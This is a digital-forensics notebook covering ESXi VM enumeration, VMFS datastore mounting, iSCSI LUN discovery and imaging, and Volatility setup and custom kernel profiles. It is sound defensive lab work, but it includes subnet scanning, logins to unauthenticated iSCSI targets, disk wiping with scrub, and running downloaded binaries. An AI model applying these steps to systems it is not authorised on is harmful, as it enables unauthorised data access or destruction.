esxhpedit                    net-lacp                     strace                       zcat
```


# Guest Virtual Machines

It may be difficult to identify guest VMs if you only have access to the console and not the ESXi web interface.

:exclamation:**vmdumper** is able to quickly provide information about virtual machines which are present on the host **and currently running**\
:exclamation:**vm-support** can list all configured VMs, regardless of powered state

```
[root@localhost:~] vmdumper -l
wid=528305      pid=-1  cfgFile="/vmfs/volumes/{volume-UUID}/host3/host3.vmx"     uuid="{UUID-hex}"  displayName="host3"     vmxCartelID=528303
wid=528307      pid=-1  cfgFile="/vmfs/volumes/{volume-UUID}/host1/host1.vmx"     uuid="{UUID-hex}"  displayName="host1"     vmxCartelID=528304
wid=528308      pid=-1  cfgFile="/vmfs/volumes/{volume-UUID}/host2/host2.vmx"     uuid="{UUID-hex}"  displayName="host2"     vmxCartelID=528302

[root@localhost:~] vm-support --listvms
/vmfs/volumes/{volume-UUID}/Ubuntu/Ubuntu.vmx (Registered)
/vmfs/volumes/{volume-UUID}/Kali/Kali.vmx (Registered)
/vmfs/volumes/{volume-UUID}/Windows10_1/Windows10_1.vmx (Registered)
/vmfs/volumes/{volume-UUID}/pfSense_gateway/pfSense_gateway.vmx (Registered)
/vmfs/volumes/{volume-UUID}/Windows_Flare/Windows_Flare.vmx (Registered)
/vmfs/volumes/{volume-UUID}/REMNUX/REMNUX.vmx (Registered)
/vmfs/volumes/{volume-UUID}/DC01/DC01.vmx (Registered)
/vmfs/volumes/{volume-UUID}/OpenCTI/OpenCTI.vmx (Registered)
/vmfs/volumes/{volume-UUID}/50cent/50cent.vmx (Registered)
/vmfs/volumes/{volume-UUID}/dht-tracker/dht-tracker.vmx (Registered)
/vmfs/volumes/{volume-UUID}/ubuntu-template/ubuntu-template.vmx (Registered)
/vmfs/volumes/{volume-UUID}/host1/host1.vmx (Running)
/vmfs/volumes/{volume-UUID}/host2/host2.vmx (Running)
/vmfs/volumes/{volume-UUID}/host3/host3.vmx (Running)
```

For specific information about a guest VM (or **cat** the same vmx file)

```
[root@localhost:~] vm-support -v /vmfs/volumes/{volume-UUID}/host1/host1.vmx
```


# General Notes

ESXi 6.x and 7.x hangs on "Relocating modules and starting up the kernel…”

After booting from your installation media, press Shift+ O (o for oscar, not zero) and you'll be able to add additional kernel options. Enter the following (not case sensitive)

ignoreheadless=true

Press Enter, and the ESXi installer should continue as normal.


# Triage and Imaging

One of my go-to tools for Linux/Unix triaging is UAC (<https://github.com/tclahr/uac>)\
\
I worked with the UAC dev to test some new functionality and support for native esxcli commands, and as a result v2.2.0 has enhanced support for ESXi environments. It also correctly detects the VMkernel as ESXi and runs the corresonding artefacts profiles - so there's no need to append '-s linux' on the commandline (as listed below). I'l keep it here as it's relevant for versions older than v2.2.0.

**TL;DR** - to run UAC on an ESXi host, you need to append '-s linux' (to force linux detection as UAC assigns artefact profiles based on the detected kernel, however ESXi kernel appears as 'vmkernel'). AVML will fail because of how memory is allocated in ESXi (ie not /proc/core or /proc/mem)

> ./uac -p full -s linux /output-directory

UAC runs on the following operating systems and is platform agnostic;

```
AIX
Android
FreeBSD
Linux
macOS
NetBSD
NetScaler
OpenBSD
Solaris
```

The ESXi kernel (VMkernel) is a customised kernel with several open source applications bundled on top of it. The shell itself is based on BusyBox. It is not based on Linux itself, but in some parts it resembles a Linux kernel (folder structure, process initiation, driver support, etc).

This presents a number of challenges for those who are comfortable with platform-specific commands, such as those found on Debian-based systems.


# ESXi VMFS Exploration

Scenario: Provided with E01 of disks from an ESXi server. You need to examine the files contained within a guest VM which was hosted on the ESXi server.

For this, I setup ESXi 7.0 as a guest in VMWare Workstation 15.

Downloaded Windows 1909 Upgrade ISO.

Ran through ESXi setup, provisioned a 40GB datastore as 'ISO'.

Uploaded Windows 1909 ISO file to ISO datastore.

Created Windows 10 guest virtual machine within ESXi.

Booted Windows 10 guest from ISO datastore and installed Windows 10.

Created 'mydocument.txt' on Windows 10 desktop (under 'Andrew' profile).

1. Mount E01 with your preferred tool (can be with Arsenal Image Mounter or similar).
2. Datastore will present as separate partition
3. Acquire/export partition as E01/RAW
4. Mount new image (from partition) as a physical disk.
5. Create VMDK from PhysicalDisk

   ```
   VBoxManage.exe internalcommands createrawvmdk -filename "C:\vmfs\part8.vmdk" -rawdisk \\.\PhysicalDriveX
   ```
6. Attach new VMDK to Linux host
7. Install VMFS6-tools and libguestfs-tools

   ```
   sudo apt-get install vmfs6-tools
   fdisk -l
   sudo mkdir /mnt/sdb && sudo mkdir /mnt/vmdk
   ```
8. Mount partition

   ```
   sudo vmfs6-fuse /dev/sdb /mnt/sdb
   ```

<div align="left"><img src="/files/Y57aGETLO37ayiJ7SCHe" alt=""></div>

9\.   Mount target VMDK (for guest Windows 10 VM) and explore

```
guestmount -a Windows 10-flat.vmdk -m /dev/sdb --ro /mnt/vmdk
(or specify partition)
guestmount -a Windows 10-flat.vmdk -m /dev/sdb --rw /mnt/vmdk
```

![](/files/hgzTaVsGDt3lMoaLySJ6)


# Export OVF from ESXi using OVF Tool

Sometimes you may not have access to the underlying datastore connected to an ESXi instance or vSphere cluster. Use OVF Tool to export an OVF of your required virtual machine

Download OVF Tool

{% embed url="<https://kb.vmware.com/s/article/1038709>" %}

Load administrative command console

```
C:\Users\User> cd "C:\Program Files\VMware\VMware OVF Tool"
C:\Program Files\VMware\VMware OVF Tool>ovftool.exe –-noSSLVerify vi://ESXi-IP/VM-NAME C:\Path\To\Dump\Folder
```

You'll be prompted for an ESXi username/password, enter those and your OVF will begin exporting.

Note:

1. Guest VM must be in a powered-off state
2. As a matter of thoroughness, copy or note the original VM configuration (.vmx file) prior to export as this may need to be modified (if you're removing attached discs)
3. OVF Tool will fail if an ISO/virtual disc is attached to the guest VM


# Identification, acquisition, and examination of iSCSI LUNs and VMFS datastores

I was recently presented with a situation where I needed to access data stored directly on an iSCSI LUN, and needed to assess the capability of forensic tools to identify and acquire data stored in this location.

Accessing a device via iSCSI provides the potential ability to acquire a full physical image of the underlying block storage (single device, RAID array, etc) and *potentially* recover deleted material. This would otherwise be unavailable if you were to simply connect to an SMB/CIFS share and logically copy files/folders. It is also an alternative to potentially seizing an entire SAN/NAS which may not always be appropriate in the circumstances.

&#x20;

To repicate a basic scenario, I setup the following;&#x20;

1 x ESXi host (existing in development environment)\
1 x Ubuntu 20.04 server with a 10GB block device setup as an iSCSI target.\
1 x Windows workstation with FTK Imager\
1 x Linux ‘forensic’ workstation

In this example we'll just touch on the use of FTK Imager, however in reality you'll likely be using a more robust acquisition/analysis tool, and possibly a purposed built file recovery tool which supports VMFS6 (depending on the circumstances)

## **Setup a basic iSCSI target on Ubuntu.**

We need an iSCSI target setup with some test data to provide some level of response and real-world behaviour to what we’re trying to achieve.This does not consider security/authentication/access control list restrictions; it is simply setup for testing purposes and does not contain any sensitive data.

Quick refresher on terminology; iSCSI initiator is the client, iSCSI target is the host/server.

```
$ sudo apt update; sudo upgrade
$ sudo apt install tgt
$ sudo systemctl status tgt
```

Verify tgt is running. Edit tgt configuration to define block storage.

```
$ sudo nano /etc/iscsi/iscsi.conf
```

```
<target iqn.2020-07.example.com:lun1>
     direct-store /dev/sdb
</target>
```

<pre><code><strong>$ systemctl restart tgt
</strong>$ sudo tgtadm --mode target --op show

 Target 1: iqn.2020-07.example.com:lun1
    System information:
        Driver: iscsi
        State: ready
    I_T nexus information:
        I_T nexus: 1
            Initiator: iqn.1998-01.com.xxxx:hostname.domain:67650190:64 alias: iscsi_vmk
            Connection: 0
                IP Address: 192.168.1.50
    LUN information:
        LUN: 0
            Type: controller
            SCSI ID: IET     00010000
            SCSI SN: beaf10
            Size: 0 MB, Block size: 1
            Online: Yes
            Removable media: No
            Prevent removal: No
            Readonly: No
            SWP: No
            Thin-provisioning: No
            Backing store type: null
            Backing store path: None
            Backing store flags:
        LUN: 1
            Type: disk
            SCSI ID: IET     00010001
            SCSI SN: beaf11
            Size: 10737 MB, Block size: 512
            Online: Yes
            Removable media: No
            Prevent removal: No
            Readonly: No
            SWP: No
            Thin-provisioning: No
            Backing store type: rdwr
            Backing store path: /dev/sdb
            Backing store flags:
    Account information:
    ACL information:
        ALL  
</code></pre>

Our Ubuntu server has been setup with a 10GB block device (/dev/sdb) and will provide access to that device via iSCSI, without any restrictions. Now we want to connect our ESXi host to that iSCSI LUN and configure it as a datastore.

In ESXi (v7.0 u3) go to Storage > Adapters > click Software iSCSI

<figure><img src="/files/1Yo3U0uRrmgS0LoJ9WII" alt=""><figcaption></figcaption></figure>

Enter iSCSI LUN target name, and IP address.\
Save configuration.\
Storage > Devices > click rescan/refresh.

<figure><img src="/files/uJTYbVKf28CGtSQ8kvDa" alt=""><figcaption></figcaption></figure>

Storage > Datastores > New datastore

<figure><img src="/files/R4sHyHcIxjEs5whYfVMg" alt=""><figcaption></figcaption></figure>

Next > Full Disk > VMFS6 > Finish

Now we have our ESXi host connected to an iSCSI LUN (10GB) which is formatted with VMFS6

To replicate a data acquisition scenario, we need to populate the ESXi datastore with data to see how it's presented to an analyst.

1 x ISO (using Hiren’s Boot CD – uploaded using web interface)\
1 x photo (dog-photo.jpg – uploaded using web interface)\
1 x VMDK (Ubuntu focal cloud image – copied from existing datastore)

<figure><img src="/files/WlF1MAgb2PNsvxbnqlVB" alt=""><figcaption></figcaption></figure>

Now that our basic environment has been setup, we can move onto identification and acquisition.

## Accessing the iSCSI LUN from a Linux machine

Requirements – Linux operating system with open-iscsi installed

Oftentimes these types of acquisitions involve assistance from systems administrators and storage experts. There can be access control lists, IP restrictions, firewall rules etc which prohibit direct iSCSI LUN access. For example, a Windows server connects to an iSCSI LUN, creates an NTFS file system, then creates folder shares. The original iSCSI LUN may be restricted to only be accessible from the server’s IP address, may require some level of authentication, etc.

This guide provides general insight into identification and acquisition of those LUNs where these restrictions are not involved. Brute forcing or gaining otherwise ‘unauthorised’ access is outside the scope of this article.&#x20;

iSCSI operates on TCP/3260. You could begin by scanning an IP (or range) with nmap to identify whether it’s accessible from your workstation.

```
$ sudo nmap -p 3260 192.168.1.0/24 -sV -Pn -v
Discovered open port 3260/tcp on 192.168.1.18
PORT     STATE SERVICE VERSION
3260/tcp open  iscsi?
MAC Address: 00:00:00:00:00:00 (VMware)
```

```
Enumerate LUNs on target

$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.1.18
192.168.1.18:3260,1 iqn.2020-07.example.com:lun1        
```

```
Log into iSCSI
$ sudo iscsiadm --mode node --targetname iqn.2020-07.example.com:lun1 --portal 192.168.1.18 --login

Logging in to [iface: default, target: iqn.2020-07.example.com:lun1, portal: 192.168.1.18,3260]
Login to [iface: default, target: iqn.2020-07.example.com:lun1, portal: 192.168.1.18,3260] successful.
```

<pre><code>$ sudo iscsiadm -m session -P3

iSCSI Transport Class version 2.0-870
version 2.1.8
Target: iqn.2020-07.example.com:lun1 (non-flash)
        Current Portal: 192.168.1.18:3260,1
        Persistent Portal: 192.168.1.18:3260,1
                **********
                Interface:
                **********
                Iface Name: default
                Iface Transport: tcp
                
                &#x3C;snip>
                 ************************
                Attached SCSI devices:
                ************************
                Host Number: 33 State: running
                scsi33 Channel 00 Id 0 Lun: 0
                scsi33 Channel 00 Id 0 Lun: 1
                        Attached scsi disk sdc          State: running               
<strong>                
</strong></code></pre>

```
New disk is shown (and matches SCSI device list above)

$ sudo fdisk -l

Disk /dev/sdc: 10 GiB, 10737418240 bytes, 20971520 sectors
Disk model: Virtual disk
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: AAB4DDB3-B29E-46E1-A605-915D6A16F884

Device     Start      End  Sectors Size Type
/dev/sdc1   2048 20969472 20967425  10G VMware VMFS

$ sudo lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sdc      8:32   0   10G  0 disk
└─sdc1   8:33   0   10G  0 part

```

Proceed with acquisition using preferred tool

```
Acquire image using ewfacquire (if available) or dd
$ sudo ewfacquire /dev/sdc
OR
$ dd if=/dev/sdc1 of=/mnt/point/output/file.dd
```

## Accessing the iSCSI LUN from a Windows machine

If we were to assess the ability to acquire this datastore (or recover individual files from within), we need access to the iSCSI LUN, a tool to acquire a full physical image, and an analysis/parsing/examination tool which supports VMFS5/6.

Windows 10 does not support mounting and modifying VMFS6 filesystems directly, so we can safely use Windows 10 to connect to the iSCSI target, mount the block device as a local disk, and image it using a forensic tool all without making changes to the device at a filesystem or block level. In this example FTK Imager will be shown, but you could use whatever you like for acquisition as long as it can read local physical block devices.

&#x20;

**Start > Run >  iscsicpl**

**Target: IP address of host**

Click Quick Connect, LUN will appear

<figure><img src="/files/sHG3Q8qj3YzhS65neJST" alt=""><figcaption></figcaption></figure>

Select Volumes and Devices, click Auto Configure. Volume/mount point should populate.

<figure><img src="/files/H9xiMsvyfqnuNxAXbZTj" alt=""><figcaption></figcaption></figure>

**FTK Imager - acquire an image**

```
File
Add Evidence Item
Physical Drive > \\.\PHYSICALDRIVEX - VMware Virtual Disk SCSI

(FTK Imager can't interpret VMFS filesystems)
```

<figure><img src="/files/kVoXtF9MpayCBbSJGc4t" alt=""><figcaption></figcaption></figure>

```
Right click \\.\PHYSICALDRIVEX
Export Disk Image
Image Destinations > Add
Raw (dd) > Next
Case Info (if applicable) > Next
Destination Folder & File Name
No chunks > Finish
```

## Alternative scenarios

The filesystem on the acquisition target block device should be taken into consideration when assessing the ability to acquire a forensic image. Our objective is to analyse the data we've acquired. If it's ext3/ext4, NTFS, BTFRS, there are more possibilities than if it's just VMFS5/6.

The filesystem also determines the possibility of modification of the original data from the client/initiating operating system. If the target iSCSI LUN contains an NTFS file system, it *may* automatically mount in Windows when the block device is initialised.

We've removed the iSCSI LUN from our previous machine, deleted the datastore and zeroed the disk using scrub (to remove the VMFS6 filesystem and all remnant data).

```
$ sudo scrub -p fillzero /dev/sdb
```

Connected to iSCSI LUN, enabled disk, formatted with NTFS and copied 2 x VMDK as test data.

<figure><img src="/files/dcFfM1MHaRijX1XAjLgu" alt=""><figcaption></figcaption></figure>

By following the steps above (loading iSCSI, connecting to the target, automatically configuring devices), it did not result in the volume being automatically mounted. This was tested on this DF workstation, as well as a fresh Windows 10 install (v10.0.19044.1288)

<figure><img src="/files/TZXpp6n0w6TqOQTvtgWH" alt=""><figcaption></figcaption></figure>

Switching back to our Linux DF machine, we can mount the same block device (after connecting with open-iscsi). After mounting and viewing files, we'll delete cloud-img.vmdk

```
┌──(user㉿IBLUE-DF1)-[~]
└─$ sudo mount -t ntfs /dev/sdc2 /mnt/sdc2
└─$ cd /mnt/sdc2
└─$ ls -lah
total 1.2G
drwxrwxrwx 1 root root 4.0K Apr  7 00:50  .
drwxr-xr-x 4 root root 4.0K Apr  7 00:37  ..
drwxrwxrwx 1 root root    0 Apr  7 00:49 '$RECYCLE.BIN'
-rwxrwxrwx 1 root root 599M Apr  7 00:48  cloud-img.vmdk
-rwxrwxrwx 1 root root 599M Apr  7 00:50  focal-server-cloudimg-amd64.vmdk
drwxrwxrwx 1 root root    0 Apr  7 00:47 'System Volume Information'

┌──(user㉿IBLUE-DF1)-[/mnt/sdc1]
└─$ rm -f cloud-img.vmdk
```

Even though cloud-img.vmdk was deleted, we can re-add the iSCSI/physical drive in FTK Imager and assess our ability to inspect the file and its size. As we see here, although it's marked as deleted, we can see from the hex stream it has a valid header (and also contained valid data - entire stream hasn't been reproduced).

<figure><img src="/files/pDWORE3q8Fw1qJuOaFZ7" alt=""><figcaption></figcaption></figure>

Out of curiosity - what if we use scrub?

```
┌──(user㉿IBLUE-DF1)-[/mnt/sdc1]
└─$ scrub focal-server-cloudimg-amd64.vmdk
scrub: using NNSA NAP-14.1-C patterns
scrub: scrubbing focal-server-cloudimg-amd64.vmdk 627740672 bytes (~598MB)
```

As expected (as is the functionality of the tool), the file still exists, but its contents have been replaced/scrubbed/overwritten with random data.&#x20;

<figure><img src="/files/0YFkdD2Z7jBFlcpDqiF9" alt=""><figcaption></figcaption></figure>

## Summary

Accessing iSCSI LUNs provides the best opportunity to acquire the most valuable data, however, that requires some planning and forethought about how it is going to be accessed, the platform from which it is accessed, the tools which are going to be used to examine/acquire and subsequently analyse the data.

If you're looking at a SAN/NAS with iSCSI LUNs, accessing those LUNs from a (possibly live) Linux workstation may provide analysts with a reliable and easy to use platform to perform an acquisition. This may require credentials, modification of ACLs/rules on the iSCSI host, etc. These workarounds are necessary as the alternative may simply be not acquiring the data at all. Given these scenarios are mostly applicable to large enterprise environments (or sophisticated home users), then being provided with assistance will be greatly beneficial.


# Volatility

How to get Volatility2.6.1 working / workbench setup

**This is a short guide on how to setup Volatility 2.6.1 on a Debian-based Linux workstation.**

Git is required to clone the GitHub repository where Volatility and its core files are held.

```
$ sudo apt install git-all
```

Clone Volatility from GitHub repository

```
$ git clone https://github.com/volatilityfoundation/volatility.git
```

You may have to install python2.7 pip

```
$ wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
$ python 2.7 get-pip.py
```

Try and execute volatility to see if you have installed the required dependencies

```
$ python2.7 vol.py
  
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.registry.shutdown (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.getservicesids (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.timeliner (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.malware.apihooks (NameError: name 'distorm3' is not defined)
*** Failed to import volatility.plugins.malware.servicediff (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.userassist (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.getsids (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.shellbags (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.evtlogs (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.tcaudit (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.shimcache (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.dumpregistry (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.lsadump (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.malware.threads (NameError: name 'distorm3' is not defined)
*** Failed to import volatility.plugins.mac.apihooks_kernel (ImportError: No module named distorm3)
*** Failed to import volatility.plugins.registry.amcache (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.mac.check_syscall_shadow (ImportError: No module named distorm3)
*** Failed to import volatility.plugins.malware.svcscan (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.registry.auditpol (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.ssdt (NameError: name 'distorm3' is not defined)
*** Failed to import volatility.plugins.registry.registryapi (ImportError: No module named Crypto.Hash)
*** Failed to import volatility.plugins.mac.apihooks (ImportError: No module named distorm3)
*** Failed to import volatility.plugins.envars (ImportError: No module named Crypto.Hash)

```

You'll need to install pycrypto (addresses crypto.hash) and also distorm3

```
$ python2.7 -m pip install pycrypto distorm3==3.4.4
```

If you receive errors such as this during compilation, you may need to install python2.7-dev and build-essential

```
   compilation terminated.                                                                                                                                                                                                                                                 
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    error: invalid command 'egg_info'
```

```
$ sudo apt install -y python2.7-dev build-essential
```

NB: Sometimes there are issues with distorm3, depending on the version previously installed, or how you've setup your workstation. To solve any potential issues, we install version 3.4.4.

```
pip uninstall distorm3
pip install distorm3==3.4.4
```

Test Volatility with an image file (please test it with a [known good memory sample ](https://github.com/stuxnet999/MemLabs)with a known profile).

```
$ python vol.py -f /path/to/memdump.mem imageinfo
or
$ python vol.py -f /path/to/memdump.mem kdbgscan
```

You should see something similar to below (for imageinfo)

```
$ python vol.py -f memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (memdump.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c2a120L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c2c000L
                KPCR for CPU 1 : 0xfffff88002f00000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-04-20 23:23:26 UTC+0000
     Image local date and time : 2020-04-20 19:23:26 -0400
```

**Windows**

Coming soon.


# Volatility3 core commands

Assuming you're given a memory sample and it's likely from a Windows host, but have minimal information. Here's how you identify basic Windows host information using volatility.

```
$ python3 vol.py -f /path/to/memory.dump windows.info
```

Sometimes volatility can output/display a lot of information, and it's not necessarily easily readable. You can use the -r (render) flag to generate output in pretty (tabulated), json, csv, and quick. More information here <https://volatility3.readthedocs.io/en/stable/volatility3.cli.text_renderer.html>

I typically export results as csv if I want to import it into a timeline, or filter it in Excel, etc.

```
$ python3 vol.py -r csv -f /path/to/memory.dump windows.info
```

Display process information

```
$ python3 vol.py -f /path/to/memory.dump windows.pslist
```

If you want to display the same process information but include highlighted parent/child processes (as a tree)

```
$ python3 vol.py -f /path/to/memory.dump windows.pstree
```

Dump executables and associated DLLs (you need the process ID/PID first)

```
$ python3 vol.py -f /path/to/memory.dump -o /output/directory/ windows.dumpfiles --pid 4628
```


# Build Custom Linux Profile for Volatility

Build Volatility overlay profile for compromised system (with another version installed, not on the compromised system itself). If you can spin up a virtual machine using a virtual disk/backup/snapshot, or provision a virtual machine using the same kernel, that would be ideal.

In addition to the above, if your EC2 instance is built on a standard AMI, just provision a new instance using the same AMI and install the debug kernel.

**Identifying potential kernel candidates and building a specific kernel**

You may be in a situation where you have a memory dump, but aren't provided with information about which system it came from, release/build information, kernel information etc.&#x20;

Using the banners plugin in Volatility3, it's possible to identify potential candidates to assist with building a symbol table.

```
$ python3 vol.py -f evidence.mem banners
Volatility 3 Framework 2.4.2
Progress:  100.00               PDB scanning finished
Offset  Banner

0x738001a0      Linux version 6.2.0-36-generic (buildd@lcy02-amd64-050) (x86_64-linux-gnu-gcc-11 (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC  (Ubuntu 6.2.0-36.37~22.04.1-generic 6.2.16)
0x73975d40      Linux version 6.2.0-36-generic (buildd@lcy02-amd64-050) (x86_64-linux-gnu-gcc-11 (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct  9 15:34:04 UTC 2 (Ubuntu 6.2.0-36.37~22.04.1-generic 6.2.16)
```

Using this information, deploy an Ubuntu 22.04 virtual machine and use it as a base for our profile.

```
$ sudo apt update; sudo apt install linux-image-6.2.0-36-generic
```

Install the corresponding kernel. Reboot. Verify the kernel is installed.

```
user@ubuntu:~$ uname -a
Linux ubuntu 6.2.0-36-generic #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct  9 15:34:04 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```

We need to install the corresponding debug symbols for our kernel. We'll add an additional repository, update, and install the appropriate debug symbols.

```
$ sudo nano /etc/apt/sources.list.d/ddebs.list 

deb http://ddebs.ubuntu.com xxxxx main restricted universe multiverse
deb http://ddebs.ubuntu.com xxxxx-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com xxxxx-proposed main restricted universe multiverse
(replace xxxxx with your release name from 'lsb_release -cs', ie focal, trusty, etc.

wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add -

$ sudo apt update
$ sudo apt install linux-image-6.2.0-36-generic-dbgsym
$ sudo shutdown -r now
```

Now we need to create a symbol table/profile using dwarf2json

```
$ git clone https://github.com/volatilityfoundation/dwarf2json.git
$ cd dwarf2json.git
$ go build
(if required, or copy precompiled executable)
$ sudo ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.2.0-36-generic --system-map /boot/System.map-6.2.0-36-generic > Ubuntu22.04-6.2.0-36-generic.json
```

The above command should complete successfully. Move the new symbol table to your Volatility3 directory, and run isfinfo to ensure it's registered/cached correctly.

```
$ mv Ubuntu22.04-6.2.0-36-generic.json /path/to/volatility3/symbols/linux
$ python3 vol.py isfinfo
Volatility 3 Framework 2.4.2
Progress:  100.00               PDB scanning finished
URI     Valid   Number of base_types    Number of types Number of symbols       Number of enums Identifying information

<snip>
file:///home/user/volatility3/symbols/linux/Ubuntu22.04-6.2.0-36-generic.json       True (cached)   19      12930   263277  2285    b'Linux version 6.2.0-36-generic (buildd@lcy02-amd64-050) (x86_64-linux-gnu-gcc-11 (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct  9 15:34:04 UTC 2 (Ubuntu 6.2.0-36.37~22.04.1-generic 6.2.16)\n\x00'
```

Test your symbol table with your memory dump to ensure it's functioning correctly

```
$ python3 vol.py -f evidence.mem linux.pslist
Volatility 3 Framework 2.4.2
Progress:  100.00               Stacking attempts finished
OFFSET (V)      PID     TID     PPID    COMM

0x99f7802a1980  1       1       0       systemd
0x99f7802a3300  2       2       0       kthreadd
0x99f7802a6600  3       3       2       rcu_gp
0x99f7802a0000  4       4       2       rcu_par_gp
0x99f7802a4c80  5       5       2       slub_flushwq
0x99f7802b9980  6       6       2       netns
0x99f7802be600  8       8       2       kworker/0:0H
0x99f7802bcc80  10      10      2       mm_percpu_wq
0x99f78033b300  11      11      2       rcu_tasks_kthre
```

**Using dwarf2json to build kernel profiles for Volatility3**

For an AmazonLinux EC2 instance (6.1.34-59.116.amzn2023.x84\_64)

```
$ sudo su
$ sudo yum update -y
$ sudo yum --enablerepo='*debuginfo' install kernel-debuginfo-$(uname -r)
$ mkdir /home/ec2-user/volatility3
$ sudo cp /boot/System.map-6.1* /home/ec2-user/volatility3
$ sudo cp /usr/lib/debug/lib/modules/6.1.34-59.116.amzn2023.x86_64/vmlinux /home/ec2-user/volatility3

(grab precompiled version of dwarf2json from this repo https://github.com/kevthehermit/volatility_symbols)

$ wget https://github.com/kevthehermit/volatility_symbols/raw/main/dwarf2json
$ chmod +x dwarf2json
$ ./dwarf2json linux --system-map /path/to/System.map-6.1.34-59.116.amzn2023.x86_64 --elf /path/to/vmlinux > your-name-for-kernel.json
$ cp /path/to/your-name-for-kernel.json /path/to/volatility3/volatility3/symbols/linux
$ python3 vol.py isfinfo (check new profile is registered)
$ python3 vol.py -f ec2mem.mem banners
$ python3 vol.py -f ec2mem.mem linux.pslist
```

This was the original article for volatility2, using dwarfdump to build an Ubuntu kernel profile.

Download/GitClone volatility

```
$ cd volatility/tools/linux
$ uname -r 
4.15.0-106-generic
$ sudo make -C /lib/modules/4.15.0-106-generic/build/ CONFIG_DEBUG_INFO=y M=$PWD modules
```

If you receive an error similar to the following, you need to modify **module.c**

```
ERROR: modpost: missing MODULE_LICENSE() in /home/USER/volatility/tools/linux/module.o

$ nano module.c
add the following line to the end of the file, exactly as it appears

MODULE_LICENSE("GPL");
```

If dwarfdump isn't installed, install it

```
$ sudo apt install dwarfdump
$ dwarfdump -di ./module.o > module.dwarf
$ sudo zip Ubuntu64-4.15.0.106.zip module.dwarf /boot/System.map-4.15.0-106-generic
```

Move linux profile to Volatility overlays

```
$ cp Ubuntu64-4.15.0.106.zip /path/to/volatility/plugins/overlays/linux/
```

Test Volatility

```
$ python vol.py --info | grep Linux
```

Test Volatility with profile

```
$ python vol.py -f /mnt/volatility/DF/vm-dump.mem --profile=LinuxUbuntu64-4_15_0_106x64 linux_pslist
```


# Generate custom profile using btf2json

How to use btf2json to generate a kernel profile for Volatility 3, without using a virtual machine and entirely within WSL.

My previous guides ([here ](/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility)and [here](/memory-forensics-1/volatility-plugins/banners-isfinfo-and-custom-profiles)) have used dwarf2json, fresh virtual machines, and full debugging kernels. This is a somewhat time intensive process and doesn't scale that well - you have to generate multiple fresh virtual machines (depending on flavour/variant), install multiple debugging profiles from slow Canonical debugging repositories, to generate multiple profiles. This assumes you have access to an environment you can (or are allowed to) generate new virtual machines, and doing this in an enterprise environments (with considerations like TLS/SSL inspection,  EDR registration, host management, etc etc) becomes an incredibly long winded process.

A few days ago, I saw an announcement from Volatility regarding their plugin contest and btf2json caught my eye.&#x20;

"**Valentin Obst: btf2json**

The btf2json project is a very promising effort to ease the burden of large-scale Linux memory analysis. By incorporating information in the readily available vmlinuz file, analysts can create Volatility 3 symbol tables without the need for a full debug kernel. Through acquisition techniques that incorporate filesystem data, it appears that the final version of this project will enable analysis with only information stored within the memory sample – a large shift from the currently difficult method to gather this information across Linux systems and distributions.

*Related References:*\
[*https://github.com/vobst/btf2json*\
*https://blog.eb9f.de/2024/11/10/btf2json.html*](<https://github.com/vobst/btf2json&#xA;https://blog.eb9f.de/2024/11/10/btf2json.html>)\
\
*Source:* [*https://volatilityfoundation.org/the-2024-volatility-plugin-contest-results-are-in/*](https://volatilityfoundation.org/the-2024-volatility-plugin-contest-results-are-in/)

The tool is great and it works as expected, however the guide/instructions on GitHub are perhaps a little unclear, so I thought I'd write a guide here on how to practically generate a custom profile using btf2json and without access to a virtual machine.

At a high level, this is the process;

1. Obtain/generate memory sample (DumpIt for Linux, AVML, etc)
2. Identify full kernel banner (this is important, don't skip this step)
